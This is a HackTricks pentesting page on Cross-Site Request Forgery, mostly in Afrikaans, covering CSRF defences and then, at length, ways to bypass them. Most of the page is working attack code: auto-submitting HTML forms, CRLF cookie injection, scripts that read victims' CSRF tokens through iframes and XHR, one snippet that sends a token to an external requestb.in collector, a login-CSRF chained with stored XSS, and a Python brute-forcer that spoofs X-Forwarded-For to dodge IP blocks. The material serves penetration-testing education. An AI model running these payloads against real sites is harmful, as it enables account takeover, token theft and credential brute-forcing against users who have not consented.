hacktricks/src/pentesting-web/csrf-cross-site-request-forgery.md

29 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

{{#include ../banners/hacktricks-training.md}}

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) is n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel n aanvaller in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies uit te buit. Die aanval gebeur wanneer n gebruiker, wat in n slagoffer se platform aangemeld is, n kwaadwillige webwerf besoek. Daardie webwerf veroorsaak dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die laai van beelde.

Voorvereistes vir n CSRF-aanval

Om n CSRF-kwesbaarheid uit te buit, moet verskeie voorwaardes vervul word:

  1. Identifiseer n waardevolle aksie: Die aanvaller moet n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord of e-pos te verander, of om privilige te verhoog.
  2. Sessie-bestuur: Die gebruiker se sessie moet uitsluitlik deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
  3. Afwesigheid van onvoorspelbare parameters: Die versoek moet geen onvoorspelbare parameters bevat nie, aangesien dit die aanval kan keer.

Vinnige Kontrole

Jy kan die versoek in Burp opvang en CSRF-beskermings nagaan; om dit in die blaaier te toets kan jy op Copy as fetch klik en die versoek kontroleer:

Verdediging teen CSRF

Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:

  • SameSite cookies: Hierdie attribuut verhoed dat die blaaier cookies saam met cross-site versoeke stuur. More about SameSite cookies.
  • Cross-origin resource sharing: Die CORS-beleid van die slagofferwebwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die reaksie vanaf die slagoffer-webwerf gelees word. Learn about CORS bypass.
  • Gebruiker-verifikasie: Om die gebruiker se wagwoord te vra of n captcha op te los, kan die gebruiker se bedoeling verifieer.
  • Kontroleer Referrer of Origin Headers: Valideer hierdie headers om te verseker dat versoeke van vertroude bronne kom. Wees egter bewus dat swak geïmplementeerde kontroles omseil kan word deur slim saamgestelde URLs, soos:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Parametername-wysiging: Die verander van parametername in POST- of GET-versoeke kan help om geautomatiseerde aanvalle te voorkom.
  • CSRF Tokens: Insluiting van n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.

Om hierdie verdedigingstegnieke te verstaan en te implementeer is kritiek vir die instandhouding van die sekuriteit en integriteit van webtoepassings.

Algemene foute in verdediging

  • SameSite-foute: SameSite=Lax laat steeds top-level cross-site navigasies soos skakels en form GETs toe, so baie GET-gebaseerde CSRFs bly moontlik. Sien cookie matrix in Hacking with Cookies > SameSite.
  • Header-kontroles: Valideer Origin wanneer dit teenwoordig is; as beide Origin en Referer afwesig is, faal toe. Moenie op substring/regex-match van Referer staatmaak wat omseil kan word met lookalike-domeine of saamgestelde URLs nie, en neem kennis van die meta name="referrer" content="never" onderdrukkingstruuk.
  • Method overrides: Hanteer oor-geschrewe metodes (_method of override headers) as state-changing en handhaaf CSRF op die effektiewe metode, nie net op POST nie.
  • Login-vloei: Pas CSRF-beskerming ook op login toe; anders maak login CSRF gedwonge her-verifikasie in aanvaller-beheerde rekenings moontlik, wat saam met stored XSS gekoppel kan word.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Sommige toepassings voer slegs CSRF-validasie op POST uit terwyl hulle dit vir ander verbs oorslaan. n Algemene anti-pattern in PHP lyk soos:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

As die kwesbare endpoint ook parameters vanaf $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET'-versoek heruitvoer en die CSRF-token heeltemal weglaat. Dit omskep 'n POST-only aksie in 'n GET-aksie wat sonder 'n token slaag.

Example:

  • Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • Hierdie patroon verskyn gereeld saam met reflected XSS, waar antwoorde verkeerdelik as text/html geserveer word in plaas van application/json.
  • Dit in kombinasie met XSS verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan verskaf wat beide die kwesbare kodepad aktiveer en CSRF-kontroles heeltemal omseil.

Gebrek aan token

Aansoeke mag 'n meganisme implementeer om tokens te valideer wanneer hulle teenwoordig is. Daar ontstaan egter 'n kwesbaarheid as die validering heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit misbruik deur die parameter te verwyder wat die token dra, nie net die waarde daarvan nie. Dit stel hulle in staat om die valideringsproses te omseil en 'n Cross-Site Request Forgery (CSRF)-aanval effektief uit te voer.

Verder kontroleer sommige implementasies slegs dat die parameter bestaan maar valideer nie die inhoud daarvan nie, so 'n leë token-waarde word aanvaar. In daardie geval is dit genoeg om eenvoudig die versoek met csrf= in te stuur:

POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

Minimale outomatiese PoC (verberg navigasie met history.pushState):

<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token is not tied to the user session

Aansoeke wat CSRF tokens nie aan gebruikersessies bind nie vorm 'n noemenswaardige veiligheidsrisiko. Hierdie stelsels verifieer tokens teen 'n globale poel eerder as om te verseker dat elke token aan die initierende sessie gebind is.

Hier is hoe aanvalers dit misbruik:

  1. Meld aan met hul eie rekening.
  2. Kry 'n geldige CSRF-token uit die globale poel.
  3. Gebruik hierdie token in 'n CSRF-aanval teen 'n slagoffer.

Hierdie kwesbaarheid stel aanvalers in staat om ongemagtigde versoeke namens die slagoffer te maak, deur die toepassing se ontoereikende token-verifikasie-meganisme uit te buit.

Method bypass

If the request is using a "vreemde" method, check if the method override functionality is working. For example, if it's using a PUT/DELETE/PATCH method you can try to use a POST and send an override, e.g. https://example.com/my/dear/api/val/num?_method=PUT.

This can also work by sending the _method parameter inside a POST body or using override headers:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Common in frameworks like Laravel, Symfony, Express, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers cant issue them; with overrides, you can still reach those handlers via POST.

Example request and HTML PoC:

POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

As die request 'n custom header met 'n token byvoeg as CSRF protection method, dan:

  • Toets die request sonder die Customized Token and also header.
  • Toets die request met presies dieselfde same length but different token.

Aansoeke kan CSRF-beskerming implementeer deur die token te dupliseer in beide 'n cookie en 'n request parameter, of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer requests deur te kontroleer of die token in die request parameter ooreenstem met die waarde in die cookie.

Hierdie metode is egter kwesbaar vir CSRF attacks as die website foutiewe areas het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se browser te stel, soos 'n CRLF vulnerability. Die aanvaller kan dit uitbuit deur 'n misleidende image te laai wat die cookie stel, gevolg deur die initiering van die CSRF attack.

Below is an example of how an attack could be structured:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Tip

Let wel dat as die csrf token verwant is aan die session cookie sal hierdie aanval nie werk nie, omdat jy die slagoffer se session na jou eie session moet stel, en gevolglik jouself sal aanval.

Content-Type verandering

Volgens this, om preflight requests wat die POST-metode gebruik te vermy, is die volgende Content-Type waardes toegelaat:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Neem egter kennis dat die serverlogika kan verskil afhangende van die gebruikte Content-Type, dus moet jy die genoemde waardes probeer en ook ander soos application/json,text/xml, application/xml.

Voorbeeld (van here) van die stuur van JSON data as text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Oorkoming van preflight-versoeke vir JSON-data

Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om Content-Type: application/json in 'n HTML-form te gebruik nie. Op dieselfde manier veroorsaak die gebruik van XMLHttpRequest om hierdie content type te stuur 'n preflight-versoek. Nietemin is daar strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:

  1. Gebruik alternatiewe Content Types: Gebruik Content-Type: text/plain of Content-Type: application/x-www-form-urlencoded deur enctype="text/plain" in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
  2. Wysig Content Type: Om 'n preflight-versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met Content-Type: text/plain; application/json. Dit trigger nie 'n preflight-versoek nie, maar kan moontlik korrek deur die bediener verwerk word as dit gekonfigureer is om application/json te aanvaar.
  3. SWF Flash File Utilization: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na this post.

Referrer / Origin kontrole-omseiling

Vermy Referrer header

Toepassings mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te verhoed dat 'n browser hierdie header stuur, kan die volgende HTML meta-tag gebruik word:

<meta name="referrer" content="never">

Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringskontroles in sommige toepassings kan omseil.

Regexp bypasses

{{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}}

Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit doen:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD metode bypass

Die eerste deel van this CTF writeup verduidelik dat Oak's source code, 'n router is ingestel om handle HEAD requests as GET requests met geen response body nie — 'n algemene omweg wat nie uniek is aan Oak is nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudigweg given to the GET handler but the app just removes the response body.

Daarom, as 'n GET request beperk word, kan jy net send a HEAD request that will be processed as a GET request.

Exploit Voorbeelde

Gestoor CSRF via deur gebruikers gegenereerde HTML

Wanneer rich-text editors of HTML injection toegelaat word, kan jy 'n passiewe fetch persisteer wat 'n kwesbare GET endpoint tref. Enige gebruiker wat die inhoud sien, sal outomaties die request met hul cookies uitvoer.

  • As die app 'n globale CSRF token gebruik wat nie aan die gebruikersessie gebonde is nie, kan dieselfde token vir alle gebruikers werk, wat gestoor CSRF betroubaar oor slagoffers maak.

Minimale voorbeeld wat die kyker se e-pos verander wanneer dit gelaai word:

<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF gekoppel aan stored XSS

Login CSRF alleen mag lae impak hê, maar as dit gekoppel word aan 'n authenticated stored XSS, word dit kragtig: dwing die slagoffer om in 'n deur die aanvaller beheerde rekening aan te meld; sodra hulle in daardie konteks is, sal 'n stored XSS op 'n authenticated bladsy uitvoer en kan steal tokens, hijack the session, of escalate privileges.

  • Maak seker die login endpoint is CSRF-able (geen per-session token of origin check nie) en dat geen user interaction gates dit blokkeer.
  • Na forced login, auto-navigate na 'n bladsy wat die attackers stored XSS payload bevat.

Minimal login-CSRF PoC:

<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Exfiltrating CSRF Token

Indien 'n CSRF token gebruik word as defence kan jy probeer exfiltrate it deur misbruik te maak van 'n XSS kwetsbaarheid of 'n Dangling Markup kwetsbaarheid.

GET using HTML tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Vorm GET-versoek

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Vorm POST request

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Formulier POST-versoek deur iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST versoek

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Form POST request van binne 'n iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Steel CSRF Token en stuur 'n POST versoek

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Steel CSRF Token en stuur 'n Post request deur 'n iframe, 'n form en Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Steel CSRF Token en stuur 'n POST versoek deur 'n iframe en 'n form

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Steel token en stuur dit met behulp van 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token met Ajax en stuur 'n post met 'n form

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF met Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer deur 'n CSRF token te gebruik (dit gebruik ook die header X-Forwarded-For om te probeer 'n moontlike IP blacklisting te omseil):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Gereedskap

Verwysings

{{#include ../banners/hacktricks-training.md}}